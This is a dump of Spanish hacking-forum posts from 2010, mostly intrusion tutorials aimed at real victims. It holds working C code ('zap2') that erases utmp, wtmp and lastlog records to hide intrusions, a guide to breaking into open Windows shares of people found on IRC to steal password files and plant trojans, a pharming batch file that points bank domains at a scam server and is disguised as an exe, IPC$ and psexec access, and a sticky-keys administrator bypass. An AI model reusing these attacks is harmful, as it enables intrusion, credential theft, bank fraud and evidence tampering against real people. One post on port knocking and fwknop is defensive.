while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

} else printf("%s: ?\n",who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else


printf("Listo...ya limpie la mie**a...hdl rulez!\n");

}

--------------------------------------termino zap2-------------------

apretamos ctrl +z para terminar

[15]+ Stopped cat >zap2.c

[[email protected] phantomlord]#

Ahora lo compilamos

[[email protected] phantomlord]# gcc zap2.c -o zap2

El archivo compilado (programa) se va a llamar zap2

y ahora lo ejecutamos de esta manera.

[[email protected] phantomlord]# ./zap2

Listo...ya limpie la mie**a...hdl rulez!

[[email protected] phantomlord]#

Como ven nos avisa si funciono o no quiero aclarar que se puede usar de las siguientes formas.

[[email protected] phantomlord]# ./zap2 nombreusuario

o simplemente

[[email protected] phantomlord]# ./zap2

Que borrara los logs del usuario que estemos usando en ese momento.


         ANTRAX

4885
Hacking / Hacking Memory introduccion al shellcoding
« en: Febrero 18, 2010, 12:51:00 pm »
Este no es solo un e-book es mas bien un manual  de hackear la administracion de memoria mediante shellcodes

Indice:

* Introducción
* Conceptos Básicos
* Administración de memoria
* System Call
* String format
* Stack Overflows
* Heap Overflows
* Shellcode
* Conceptos básicos
* Esqueleto de un código shell
* Ejemplos de Shellcodes
* Ejemplo en Sistemas Windows
* Ejemplo en Sistemas Linux
* Conceptos Avanzados de hacking memory
* Kernel Overflows
* Ingeniería Inversa
* ¿Técnicas Anti-reversing?
* Reflexiones finales
* Referencias

descarga aqui

pd: Para entenderlo nesesitan saber programar en C asi que si no lo dominan es mejor que no se lo descarguen

4886
Hacking / Como entrar en una maquina windows con recursos compartidos.
« en: Febrero 18, 2010, 12:50:13 pm »
CÓMO ENTRAR EN UNA MÁQUINA WINDOWS CON RECURSOS COMPARTIDOS by DarkAngel

Este hack no se basa en un fallo del windows ni nada parecido. Algunos usuarios tienes redes de trabajo, se reunen para jugar a quake, cambiar fotos porno... ese tipo de cosas, y comparten recursos y no ponen passwords. Si encontramos a uno de estos individuos... le podemos joder lo que queramos o la mayoría de las veces, sacar passwords y archivos importantes (o juegos o fotos porno o...). En esta mini-guía se explican los pasos a seguir para hackear una máquina con recursos compartidos en windows.

1.       Fijar blanco

Necesitamos una IP, si no tenemos un objetivo pensado (como podría ser: el hijoputa de la clase, el profe de mates, el ordenata del director...) puedes entrar en el irc y buscar gente por ahí. Una buena sugerencia es la de elegir a alguien de un canal en el que te gustaría tener op, alguien que te ha jodido y le quieres quitar el nick si lo ha registrado, o simplemente necesitas a alguien para probar y... lo siento chico, te ha tocado a ti xDDD (y eliges uno cualquiera en el canal o si usas mIRC puedes poner:

Para saber la gente que hay en un canal sin entrar en el:

/names #canal

Para pillar una IP aleatoria del canal en el que estamos:

//dns $nick(#,$rand(1,$nick(#,0)))

Si quieres pillar la IP de un nick que ya sabes pones:

/dns nick (nick es el nick del que quieres averiguar la IP)

Entonces ocurrirá algo como esto en el status:

*** Looking up ctv21225141110.ctv.es

*** Resolved ctv21225141110.ctv.es to 212.25.141.110

Tenemos la IP, que en este caso es 212.25.141.110, podemos pasar al siguiente paso.

 

2.       Averiguar el nombre de la máquina objetivo

Para poder entrar primero necesitamos saber cuál es el nombre de la máquina, para ello usaremos el programa nbtstat con el parámetro –A, que sirve para pillar la tabla de nombres de la máquina objetivo a partir de la IP. Este comando se usa así: ‘nbtstat –A 123.123.123.123’. Podemos ejecutarlo desde un prompt del DOS, desde Inicio-Ejecutar o desde mIRC con el comando: /run nbtstat –A DirecciónIP

Una sugerencia para mIRC es escribir éstas líneas en los remotes:

On 1:Dns: {

echo $iaddress

clipboard $iaddress

run nbtstat –A $iaddress

}

Y cuando hagas un dns te hará el nbtstat automaticamente.

(se nota que soy scripter)

He ejecutado el nbtstat con fliper (víctima):

nbtstat –A 212.25.141.110

y me ha respondido algo así:

Host not found.

Lo que quiere decir que o no tiene el netbios activo, o no usa windows o no se encuentra nada en esa IP (puede que se haya desconectado, que la hayas escrito mal...), o sea, Paso1 y a buscarse otra víctima.

Repetimos, ya tengo otra víctima y ejecuto el comando ‘nbtstat –A IPdelavíctima’

Esta vez ha contestado algo como:
NetBIOS Remote Machine Name Table

 

   Name               Type         Status

---------------------------------------------

SUSO           <00>  UNIQUE      Registered

SUSOHACKER     <00>  GROUP       Registered

SUSO           <03>  UNIQUE      Registered

 

MAC Address = 44-45-53-54-00-00

Ahora sabemos que el nombre de la máquina es SUSO (primera entrada <00>), que el nombre del grupo es SUSOHACKER.

El nombre de la máquina es el primer UNIQUE de la tabla, y los grupos que hay son reconocidos fácilmente por GROUP.

Pero antes de qué empieces a dar saltos de alegría por haber encontrado un objetivo válido, he de decirte que este no nos vale (que malo soy... xDDDDDD). Para que el objetivo valga (o sea que haya posibilidades de entrar en él) tiene que haber por al menos una entrada <20>, y en este caso no la hay.

Repetimos Paso1, hacemos el ‘nbtstat –A Ipvíctima’ y encontramos un individuo con una entrada <20>:

NetBIOS Remote Machine Name Table

 

   Name               Type         Status

---------------------------------------------

SANTI          <00>  UNIQUE      Registered

CORBA          <00>  GROUP       Registered

SANTI          <03>  UNIQUE      Registered

SANTI          <20>  UNIQUE      Registered

CORBA          <1E>  GROUP       Registered

 

MAC Address = 44-45-53-54-00-00

Este individuo tiene una entrada <20> y es la que nos vale, tenemos el nombre de su máquina qué es SANTI, recuerda que es el primer UNIQUE. Podemos pasar al Paso3.

El que os haya puesto víctimas que no valían era para que vierais los resultados más cómunes antes de pasar a la acción, y si no te sale a la primera, saldrá a la segunda. También decirte que tienes que tener en la conexión que estés usando en propiedades la casilla de NetBEUI y Conectarse a la red activadas, luego ve al Panel de Control y en Red, comprueba que tienes Compartir impresoras y archivos activados.

 

3.       Añadiendole a nuestra lista de hosts

Abrimos el archivo C:\\WINDOWS\\lmhosts (no confundir con lmhosts.sam, que es un ejemplo (sam de sample)) y escribimos (con el bloc de notas, no me seas burro) en la ultima línea (qué puede ser la primera si acabamos de crear el archivo xD, quiero decir que podemos tener varios ordenatas metidos en la lista):

‘123.123.123.123 NOMBRE’

Ésta es una parte de mi lmhosts para que os hagais una idea:

212.25.137.75 LINUX

152.71.32.128 BLEIS239

147.156.122.7 BLANC

194.224.88.221 JOSU

147.83.4.168 ANT

Y lo guardais. Ahora lo más importante, que en todos los textos que había leído sobre ésto antes de conseguir hacerlo no lo nombraban (lo que me hace suponer que se habrían limitado a copiárselo de otro y no lo habían hecho nunca)

Decirle al NetBIOS que actualice la lista, que añada el nuevo host. Esto es así:

‘nbtstat –R’

y responderá:

Successful purge and preload of the NBT Remote Cache Name Table.

Lo ejecutais donde querais. En Inicio, mIRC, DOS...

Añadido a la lista y pasamos al Paso4.

 

4.       Qué comparte y como entrar

Usamos el comando net view para ver lo que comparte:

‘net view \\\\ANT’

Saldrá algo así:

 

Recursos compartidos \\\\ZEUS

 

Compartido   Tipo         Comentario

---------------------------------------

CDROM        Disco

C                    Disco

PRINTER1   Impresora

El comando ha sido ejecutado con éxito.

También podemos hacer Inicio-Buscar-PC... \\\\ZEUS

Luego desde DOS podemos hacer DIR \\\\ZEUS para ver los archivos, o en ejecutar \\\\ZEUS y se abrirá una ventana con lo que tiene compartido. Ahora le podemos copiar archivos, leer archivos y tal como si estuvieran en nuestro ordenata (irá muuuy lento, no os desespereis).

 

5.       Estamos dentro, qué hacer?

Archivos para pillar:

-          System.ini: no es otra cosa sino que el archivo de configuración de Windows. No ocupa demasiado así que es de lo primero que debemos coger. Si lo abrimos con el bloc de notas y vamos a la sección [Password Lists] nos dirá los logins y las listas de  passwords para los usuarios del ordenata. Nos aportará mucha información importante.

-          *.PWL: son los archivos de PassWord List, arriba se indica como cogerlos nos darán algunos password de los usuarios.

-          Otros ficheros de passwd: Si vemos algún programa como el cuteFTP podemos cogerle los archivos de passwords que se guardan en el disco duro. Ej: users.dat

-          Logs: si algún usuario conecta al irc, que si hemos pillado su IP en el IRC será porque conecta, puede que esté guardando logs. Busca logs con el nombre de bots como: NiCK.log, CHaN.log, etc. Si es admin de un canal o está registrado, o queremos pillarle el nick estos son los archivos que nos ayudarán.

-          Malos usos: También podemos robar fotos porno, leer ficheros confidenciales, pringar mp3... Pero seguro que todo lo anterior tampoco era bueno XDD

Si por suerte tenemos acceso total:

Si por alguna casualidad de la vida tenemos acceso total:

-          Troyanos: le podemos meter troyanos, simplemente lo subimos y se lo añadimos al autoexec.bat por ejemplo, la próxima vez que reinicié se le instalará. Tiene el inconveniente de que si le queremos meter el NetBUS o el BO o lo que sea no se le instalará en el momento. AH!!!! Ni se os ocurra intentar instalarselo desde vuestro ordenador, a lo mejor os pensais que haciendo 2click en el icono se le instalará, y lo que estarás haciendo es traerlo a vuestro ordenador y ejecutandolos en el vuestro.

-          Viruses: como antes los troyanos le puedes meter cualquier virus que se te ocurra, también puedes reemplazarle algún fichero que vaya a usar por el virus para joder más, como renombrarlo a command.com. Si entiendes un poquito más le puedes coger algún programa y en ensamblador meterle algunas instrucciones más. O con el resource workshop cambiarle el icono, las propiedades del fichero... y hacerle creer que se trata de otro programa! XD

-          Todos contra la pornografía infantil: si te encuentras con un directorio lleno de fotos chungas desas, puedes bajartelas (si eres un pederasta, pedófilo, infanticida...) o puedes borrarlas todas...

-          Ser cabrón: borra todo lo que se te ocurra o te de tiempo, modifica los programas con un HexEditor y con cortar un cachito ya quedará inservible el fichero. Este uso es un pelín... cracker-lamer y siempre que hagas cosas de estas procura no dejarte nada dentro.

-          Firmar: si no has hecho nada malo puedes dejarle un txt en el escritorio con tu nick, fecha, hora y si eres bueno y honrado “hasta” puedes decirle que ponga passwords o no comparta nada.

-          Deja volar la imaginación: todo tipo de programas y acciones dependiendo de cuál sea tu objetivo.

 

Esto se ha acabado y creo que con eso estarás entretenido unas horitas... A ver si os animais y escribís sobre cosas que sepais que siempre le será útil a alguien por muy malo que seas. Podeis encontrarme por el irc-hispano con el nick de DarkAngel en los canales #100scripts y #hack, pero mejor me pones en la notify porque es muy probable que esté por ahí trapichando.

Autor: DarkAngel
Fuente: elhacker.net

4887
Hacking / Manual de Pharming
« en: Febrero 18, 2010, 12:49:22 pm »
Manual de Pharming

Bueno, primero que todo necesitaremos saber que es pharming si lo queres poner en practica: aqui les va un poco de definicion.


Ahora que ya sabemos que es pharming y pues phising procederemos a actuar:

Materiales:
El block de notas
Algun pack de iconos
Converter .bat to .exe (es un compilador de archivos batch)

Ahora lo primero que vamos hacer sera abrir el block de notas y escribir:

Código: [Seleccionar]
@echo off
echo 72.9.233.146 www.banamex.com.mx >> %windir%\system32\drivers\etc\hosts
echo 72.9.233.146 www.bbva.com >> %windir%\system32\drivers\etc\hosts
echo 72.9.233.146 www.bancomer.com.mx >> %windir%\system32\drivers\etc\hosts
echo 72.9.233.146 www.esmas.com >> %windir%\system32\drivers\etc\hosts
exit

Expliquemos un poco,: la direccion ip

Código: [Seleccionar]
72.9.233.146
sera la ip de su hosting donde tengan su scam bancario o de lo que sea(con ip de su hosting me refiero a un hosting con ip dedicada no que hicieron ping a su pagina web y listo ye tengo mi ip por que eso no es asi), entonces esa ip la cambian por la suya, en este caso puse la ip de la pagina web de un juego.
La pagina web que en este caso pusimos
Código: [Seleccionar]
www.banamex.com.mx - www.bbva.com - www.bancomer.com.mx - www.esmas.comseran las paginas webs a las que entraran nuestras victimas y seran redireccionadas a nuestro scam.
Y la ruta
Código: [Seleccionar]
%windir%\system32\drivers\etc\hostslo que hace es llamar al archivo hosts que se encuentra en el directorio de
Código: [Seleccionar]
windows > system32 > drivers > etc
para asi añadirle esas lineas nuestras al archivo hosts.

Ya dejemonos de explicaciones y vamos al grano: Ahora le damos clic en guardar como y le ponen cualquier nombre pero con la extencion .bat por ejemplo (file.bat) y nos salimos ahora abrimos nuestro converter .bat to .exe y compilamos nuestro archivo para que quede en .exe y si quieren le cambian el icono desde el mismo compilador y con esto abremos terminado, ahora provemos: ejecutemos nuestro archivo file.exe y veran que no paso nada a simple vista pero ahora vayan a la siguiente ruta WINDOWS\system32\drivers\etc y abran el archivo hosts con el block de notas y veran nuestras URL`S e IP`S en aquel archivo y eso significara que funciono (cuando ejecuten su archivo file.exe se modificara el archivo hosts, y para desinfectarse solo abran el archivo hosts y borren nuestras URL`S e IP`S que se añadieron y dejamos por defecto la ip 127.0.0.1 y el nombre localhost) o simplemente abran una ventana nueva del internet y escriban una de las direcciones webs que decian en el archivo como por ejemplo www.bbva.com y veran que seran redireccionados a la ip (72.9.233.146) la cual es una pagina web de un juego, y si miran bien la URL se daran cuenta de que nada cambia por que dira lo mismo de www.bbva.com por eso es tan efectivo estos ataques jeje, y para los que piensan en grande por la net existen varios scripts para infectar PC`S de forma silenciosa como el fire pack lite, ice pack entre otros.

Nota:Este documento fue creado de forma educativa y ni el autor ni ayudantes se hacen responsables por los malos usos que les puedan dar a este documento.

Todos Los Derechos Reservados.TheFidentisEste Documento puede ser distribuido, siempre y cuando el nombre del autor permanezca intacto.

Autor: TheFidentis
Fuente: hackxcrack.es

4888
Redes y antenas / ¿Que es una direccion Ip?
« en: Febrero 18, 2010, 12:48:08 pm »
Dirección IP

Una dirección IP es un número que identifica de manera lógica y jerárquica a una interfaz de un dispositivo (habitualmente una computadora) dentro de una red que utilice el protocolo IP (Internet Protocol), que corresponde al nivel de red o nivel 3 del modelo de referencia OSI. Dicho número no se ha de confundir con la dirección MAC que es un número hexadecimal fijo que es asignado a la tarjeta o dispositivo de red por el fabricante, mientras que la dirección IP se puede cambiar.

Es habitual que un usuario que se conecta desde su hogar a Internet utilice una dirección IP. Esta dirección puede cambiar al reconectar; y a esta forma de asignación de dirección IP se denomina una dirección IP dinámica (normalmente se abrevia como IP dinámica).

Los sitios de Internet que por su naturaleza necesitan estar permanentemente conectados, generalmente tienen una dirección IP fija (se aplica la misma reducción por IP fija o IP estática), es decir, no cambia con el tiempo. Los servidores de correo, DNS, FTP públicos, y servidores de páginas web necesariamente deben contar con una dirección IP fija o estática, ya que de esta forma se permite su localización en la red.

Saludos.

Fuente: E.P.I

4889
Hacking / Resetear el Bios sin sacar ni un tornillo
« en: Febrero 18, 2010, 12:47:50 pm »
Holas, bueno esto lo encontre googleando, personalmente a mi no me funciono, no se porque, puede que sea porque lo probe en una maquina virtual y no en mi pc original, pero haber como les va a ustedes, y luego comentan para saber si les funciono o no

Para Resetear la bios de nuestro ordenador por software utilizaremos el "Debug" de windows en cualquiera de sus versiones. Pues bien pulsamos el boton de "inicio" y seleccionamos "Ejecutar" en la ventanita que aparece escribimos "Debug" ( sin las comillas ) y se habrira una pantalla de DOS escribiremos los siguientes comandos:

(sin las Comillas)
"o 70, 2e"
"o 71, ff"
"o 70, 2f"
"o 71, ff"

despues cerramos la ventana y nuestra bios ya esta reseteada, esto significa que si tenia alguna contraseña esta tambien a quedado resetea.

fuente: http://www.psicofxp.com/forums/software.11/655470-como-resetear-la-bios-sacar-tornillo.html

4890
Hacking / Entrar a una pc remota via IPC
« en: Febrero 18, 2010, 12:45:26 pm »
aki Les dejo un tuto para entrar a una pc via IPC yo lo prove y funciona de maravilla
En este post les enseñare como entrar a una pc via IPC


Primero deberemos tener la ip de la pc a la que queramos entrar una muy buena manera de sacarla es esta: Entras al MSN y le pasas un archivo a la victima mientras se lo estas pasando vas a el MS-DOS y pones: netstat -n y te dara la ip de la persona

Despues cuando ya tienes la ip te vas de nuevo al MS-DOS y pones:

net use \\ipdelamaquinaremota\IPC$ * /user:administrador 
Eso es para entrar como administrador seguramente te va a pedir password para descifrar la password te recomiendo algun programa de fuerza bruta y listo ya podrás sacar la password .

Otra manera de entrar es poniendo:
net use \\ipremoto\IPC$ * /user:""
Eso es para entrar como usuario nulo talvez no te pida password pero vas a tener menos privilegios si entras como usuario nulo te recomiendo entrar como administrador , acuerdate que tendrás que sacar la password.

Y bueno si conseguiste entrar a la pc via IPC$ empieza a administrar la pc
Si tienes conocimientos en MS-DOS podrás poner los comandos a ejecutar en el MS-DOS
O si no puedes ir a mi pc y donde diría mi pc pones:
\\IPREMOTO
Y listo ya estaras en el escritorio remoto

el dueño de este tutorial es anonimo ya que esta informacion esta exparcida por muchos foros y nadie tiene psoteado el autor   :-\

4891
Hacking / Entrando por NetBios By _84kur10_
« en: Febrero 18, 2010, 12:43:53 pm »
Entrando por NetBios By _84kur10_


  • 0x01 Que es NetBIOS
  • 0x02 Idea
  • 0x03 Q necesitas?
  • 0x05 Accediendo al pc remoto
  • 0x06 Recomendaciones
  • 0x07 Final



    0x01 NetBIOS

     "Network Basic Input/Output System", es, en sentido estricto, una especificación de interfaz para acceso a servicios de red, es decir, una capa de software desarrollado para enlazar un sistema operativo de red con hardware específico. NetBIOS fue originalmente desarrollado por IBM y Sytek como API/APIS para el software cliente de recursos de una Red de área local (LAN). Desde su creación, NetBIOS se ha convertido en el fundamento de muchas otras aplicaciones de red.
    fuente:http://es.wikipedia.org/wiki/NetBIOS

    0x02 Idea

    La idea entonces es hacernos al password de la pc remota, para que por medio de netbios podamos conseguir una comand shell. de esta forma a la final obtendremos una conexion directa. tambien hay que tener encuenta que podemos quizas tener problemas con el firewall.


    0x03 Q necesitas?

  • Iptools : Scaner  de red
  • Essential NetTools : Scaner de red
  • Psexec: herramienta Microsoft para ejecución de comandos remotos.
0x04 Scaning
Scaneas con Essential NetTools y nos encontramos cosas como:





en este caso escaneamos un rango de direcciones, = podria tratarse de una sola direccion
por default el Essential usa una lista de pass y de users a probar... = si le bruejeas un poco la puedes modificar
y colocar tu lista.
 

miren lo que encontramos



0x05 Accediendo al pc remoto

Observamos  nuestra dirección ip


Nos conectamos al pc que obtuvimos con el scaner



Miramos la ip y notamos que efectivamente estamos en la maquina remota con privilegios de administrador




0x06 Recomendaciones finales

Una vez que tenemos este acceso a la pc. podriamos usando algun troyano. o instalar algun keylogger etc, pues eso ya depende de cada quien, dentro de las utilidades del psexec hay una que sirve para transferencia de archivos, o tambien podriamos montar un servidor tftp o ftp para transferir archivos, y posteriormente ejecutarlos.
o podria usar el atelier web commander que es una soft basado en rdp, para hacernos a un escritorio remoto,
o simplemente  podriamos tratar de uniciar el servicio de escritorio remoto... y weno ya ahi depende de su imaginacion.

0x07 Final



esta es una opcion... no es 100% seguro q funcine siempre... pero a mi me ha funcionado :D
el tutorial esta basico, pero si lo juntamos con otras cuantas cosas (que ya depende de cada quien)
se puede tornar interesante.
espero les sirva de algo

4892
Hacking / Port knocking by cygog
« en: Febrero 18, 2010, 12:41:18 pm »
Introducción a Port Knocking

En informática, port knocking es un método utilizado para abrir puertos en un firewall mediante un conjunto de intentos de conexión lanzados sobre puertos cerrados. Cuando en el servidor se recibe la secuencia correcta de conexión, las reglas del firewall son modificadas dinámicamente para permitir al host que envió los paquetes conectar a un puerto/s específico/s.

El principal objetivo de port knocking es prevenir escaneos de puertos a un determinado equipo para evitar potenciales ataques a servicios vulnerables. Esto se consigue ya que, a menos que se envíe la secuencia de knocks correcta, los puertos aparecerán como cerrados para cualquiera que lance un escaneo sobre el equipo. Un 'port knocking' es similar a un handshake y consiste en una serie de paquetes TCP, UDP o incluso ICMP dirigidos cada uno a un puerto concreto en la máquina destino. La complejidad del 'knock' puede ir desde una simple lista de paquetes protocolo-puerto hasta un complejo hash encriptado controlado según IP origen y/u otros factores.

Ejemplo: Un demonio sshd configurado por defecto escuchará en el puerto 22. Configuramos el firewall para que cierre el puerto 22 y elegimos como secuencia de 'knocks' la sucesión TCP-100, UDP-200, TCP-300 que habilitará el puerto 22 en la máquina. El puerto permanecerá cerrado hasta que un usuario intente inicializar conexiones TCP y UDP hacia los puertos 100, 200 y 300 en ese mismo orden. En este caso, el puerto se abrirá durante un intervalo de tiempo determinado. En caso contrario, el usuario recibirá un paquete RST/ACK cuando inicialice conexiones TCP hacia el puerto22.


Pero Port Knocking tiene algunas debilidades:


- Un atacante que no conozca la secuencia de 'knocks', mediante fuerza bruta, podría llegar a obtener la secuencia requerida para habilitar un determinado servicio.

- Monitorizando las comunicaciones, un atacante podría intentar detectar una secuencia de puertos para reproducirla posteriormente contra el servidor para conseguir acceso al servicio protegido.

- Las secuencias de port knock pueden ser encriptadas y existen diversas implementaciones que se pueden encontrar en www.portknocking.org. Pero cada paquete enviado puede contener sólo dos bytes de información debido al tamaño de 16 bits que tienen los campos de los puertos en las cabeceras TCP y UDP. Por tanto, para enviar una secuencia cifrada, utilizando por ejemplo un algoritmo simétrico de 128 bits, una secuencia de port knock estaría formada por 128/16=8 paquetes. Aquí nos encontramos con un posible problema de entrega desordenada de paquetes ya que en este caso no hay una conexión cliente-servidor (tipo TCP). Se puede añadir un retardo de medio segundo para evitar este problema, y en este caso el tiempo de entrega de la secuencia llegaría a 4 segundos. Pero si se decide utilizar algoritmos de cifrado asimétricos, la cantidad de bits a enviar es más grande y el tiempo de entrega de estos paquete se vuelve excesivo e inviable. Esto puede resultar una gran desventaja del port knocking.

Conclusión: Port knocking provee algunas ventajas que aumentan las seguridad, pero también tiene algunas limitaciones serias que hay que tener en cuenta. SPA (Single Packet Authorization) es un protocolo relativamente nuevo que mantiene los beneficios del port knocking pero soluciona algunas de las limitaciones del mismo.

Descripción de SPA (Single Packet Authorization)

SPA es una variante del port knocking donde sólo un 'knock' es necesario para validar la petición. Éste 'knock' consiste en un paquete encriptado.
SPA ofrece una arquitectura similar a la del port cknocking:

   1. Ambos sienen componentes cliente y servidor,
   2. El servidor matiene el control de filtrado por defecto a DROP
   3. El servidor monitoriza paquetes de forma pasiva.

Pero aquí es donde acaban las similitudes.

La principal ventaja que ofrece SPA es que la cantidad de información que puede ser incluída en el paquete sólo se encuentra limitada por el MTU. Esta ventaja permite que mediante SPA se pueda incluir en el paquete no sólo información de acceso, sino también por ejemplo, comandos que sean ejecutados en el sevidor SPA.

En definitiva, SPA provee un nivel de seguridad similar al port knocking en términos de proteger un servicio con un filtrado de paquetes en un sistema con una política por defecto de INPUT a DROP. En este entorno, cualquiera que realice un escaneo a la máquina no sería capaz de detectar si un servicio está realmente activo en ella, lo cual dificulta la explotación de muchas vulnerabilidades. SPA ofrece una solución elegante las limitaciones del port knocking.

Vamos a ver mediante un ejemplo práctico, cómo utilizar fwknop en modo Single Packet Authorization para proteger y ofrecer acceso al demonio OpenSSH.
- fwknop define el siguiente formato de paquete en la capa de aplicación:

    * 16 bytes de datos aleatorios
    * Nombre del usuario cliente
    * Timestamp del cliente
    * Version fwknop
    * Modo (acceso or comando)
    * Acceso (o una cadena de comando)
    * Resumen MD5 /SHA

Una vez que el cliente fwknop contruye el paquete con los campos arriba indicados, el paquete entero es encriptado usando un algoritmo de clave simétrica (128 bits) o asimétrica (utilizando GnuPG con una longitud de clave de 1024 - 4096 ). Por defecto, el cliente enviará un paquete UDP al puerto 62201, aunque esto se puede modificar fácilmente (mediante el uso del parámetro --Server-port)

A continuación se muestra un ejemplo de instalación, configuración y prueba de fwknop:

Tendremos que tener instalado GnuPG tanto en el servidor como en el cliente.

- Instalamos el servidor OpenSSH

# apt-get install openssh-server

- Instalamos los requisitos para fwknop:

# apt-get install build-essential libpcap-dev mailx

- Instalamos fwknop en el servidor:
En este caso, hemos instalado la versión 1.9.2 del 12 de Marzo de 2008

# wget http://www.cipherdyne.org/fwknop/download/fwknop-1.9.2.tar.gz
# tar zxvf fwknop-1.9.0.tar.gz
# cd fwknop-1.9.0
# sudo ./install.pl

- Nos hace una serie de preguntas a las cuales se ha contestado lo siguiente:

In which mode will fwknop be executed on the local system?
(client/[server]): server

Which of the following data acquistion methods would you like to use?
([pcap], file_pcap, ulogd, syslogd, syslog-ng): pcap

Which network interface would you like fwknop to sniff packets from? eth0

Enable fwknop at boot time ([y]/n)? y

- Podemos añadir fwknop al arranque del sistema:

# update-rc.d fwknop defaults 20

- Instalamos fwknop en el cliente:

# apt-get install build-essential libpcap-dev mailx
# wget http://www.cipherdyne.org/fwknop/download/fwknop-1.9.2.tar.gz (12 Mar 2008)
# tar zxvf fwknop-1.9.0.tar.gz
# cd fwknop-1.9.0# sudo ./install.pl

En este caso, contestamos con las mismas respuestas excepto que indicamos que se instale como cliente.

- Generamos par de claves en el cliente:

# gpg --gen-key

- Nosotros elegimos las siguientes opciones:

    * Tipo -> DSA
    * Tamaño -> 2048
    * Periodo -> La clave no caduca nunca
    * Nombre y apellidos: client fwknop
    * Correo: [email protected]


- Obtenemos:

pub 1024D/A174FC70 2008-03-24
uid Server fwknop
sub 2048g/3220AE91 2008-03-24

- Exportamos la clave a un fichero

# gpg -a --export A174FC70 > fwknop-client.asc

- Generamos par de claves en el servidor:

# gpg --gen-key

    * Tipo -> DSA
    * Tamaño -> 2048
    * Periodo -> La clave no caduca nunca
    * Nombre y apellidos: Server fwknop
    * Correo: [email protected]


- Obtenemos:

pub 1024D/D417D41A 2008-03-09
uid Server fwknop
sub 2048g/F5F02C2B 2008-03-09


- Exportamos la clave a un fichero:

# gpg -a --export D417D41A > fwknop-server.asc

Copiamos los ficheros respectivos en las máquinas e importamos las claves.

- Importamos la clave del servidor en el cliente:

# gpg --import fwknop-server.asc
# gpg --sign-key [email protected]

- Importamos la clave del cliente en el servidor:

# gpg --import fwknop-client.asc
# gpg --sign-key [email protected]


- Finalizando la instalación:

- Editamos /etc/fwknop/access.conf:

SOURCE: ANY;
OPEN_PORTS: tcp/22;
DATA_COLLECT_MODE: PCAP;
GPG_HOME_DIR: /root/.gnupg;
GPG_DECRYPT_ID: D417D41A;
GPG_DECRYPT_PW: password para la llave D417D41A;
GPG_REMOTE_ID: A174FC70;
FW_ACCESS_TIMEOUT: 30;

- Iniciamos fwknop:

# /etc/init.d/fwknop start

- Prueba de funcionamiento:

- Ejemplo de sintaxis:

fwknop -a 'puertos' --gpg-recip SERVER_KEY --gpg-sign CLIENT_KEY -s -D SERVER_IP

    * Con -s indicamos que el servidor SPA utilice la ip de origen de la cual recibió el paquete para crear la regla.En lugar de -s se puede utilizar -w que realizará una petición a www.whatismyip.com para averiguar la ip origen


- Probamos con:
# fwknop -a 'tcp/22' --gpg-recip D417D41A --gpg-sign A174FC70 -s -D 192.168.6.137



- Si todo ha ido bien, el servidor añade la entrada correspondiente a iptables. Ésta se mantendrá durante 60 segundos, después de los cuales se eliminará automáticamente.
En este caso, nos crea una regla que permite a la IP 192.168.6.137 conexiones tcp al puerto 22.

- Podemos comprobar que todo ha ido bien consultando los logs en el servidor SPA:

# tail -f /var/log/syslog | grep fwknop



- Y cuando se acabe el tiempo disponible para realizar la conexión:



- Podemos consultar las reglas iptables en tiempo real con:

# watch -n1 iptables -L -n





NOTA:
fwknop crea una nueva una nueva cadena en iptables llamada FWKNOP_INPUT y la cadena INPUT hace referencia a ésta.
En el servidor probamos poniendo la política INPUT del iptables por defecto a DROP pero no la cadena OUTPUT. Hay que tener en cuenta que fwknop, por defecto, sólo añade reglas a FWKNOP_INPUT. También se puede habilitar en fwknop.conf para que se cree utilice la cadena
FWKNOP_OUTPUT y así se creará reglas para permitir tráfico OUTPUT.

- Para que se mantenga la conexión SSH que hayamos establecido durante el tiempo permitido, tendremos que tener en iptables una regla que permita las conexiones ya establecidas. Si no, la conexión quedará cortada cuando fwknop elimine la regla correspondiente. En nuestro caso, hemos añadido:

# iptables -A INPUT -p tcp -i eth0 -m state --state ESTABLISHED, RELATED -j ACCEPT

4893
Hacking / Admin con StickyKeys en Windows XP
« en: Febrero 18, 2010, 12:34:03 pm »
Buenas, intentaré esxplicar de forma sencilla como conseguir privilegios de Administrador en un Windows XP (o Vista).
Puede que algunos lo conozcan, es muy simple.

Requisitos:

1- El ordenador Víctima debe tener StickyKeys (para comprobarlo, pulsamos                     rápidamente, 5 veces, la tecla Shift, la Flecha que está encima de Ctrl, si sale un mensaje, está activado)
2- Como Windows no nos deja modificar archivos del sistema, con una cuenta User corriente, debemos reemplazar los archivos con una distribución linux.

Comencemos:

1- Vamos a la Carpeta del sistema (C:\Windows\System 32\) y buscamos los siguientes archivos:
     - sethc.exe
     - cmd.exe
2- Si usamos un linux, para cambiar los archivos, ya que es la forma más facil, haremos lo siguiente: borramos/movemos el primer archivo (sethc.exe).
3- Copiamos el segundo archivo (cmd.exe) y la copia la renombramos a sethc.exe  ::)

Listo !!

Ejecución:


1- Antes de elejir usuario, pulsamos 5 veces la tecla shift, para llamar al sethc.exe (que en realidad es cmd) y obtendremos una ventana de CMD con privilegios de Admin.
2- Ejecutamos los comandos que queramos:
 
Código: [Seleccionar]
Crear un usuario nuevo:
net users /add "nombre de usuario" contraseña
Añadimir a Administradores así:
net localgroup /add Administradores "nombre de usuario"
Ver los Privilegios:
net localgroup
Borrar un usuario:
net users /del "nombre de usuario"
3- Podríamos añadir nuestro User al grupo administradores, o crear uno nuevo con privilegios de admin, ... mil cosas  :P

Otra posibilidad es poner el comando "control userpasswords2" y desde ahí reestableces la contraseña de Admin y ponerla en blanco, ...


Hasta aquí con StickyKeys  ;D

BY SLEK

4894
Hacking / Re:Hackeando solo con la ip
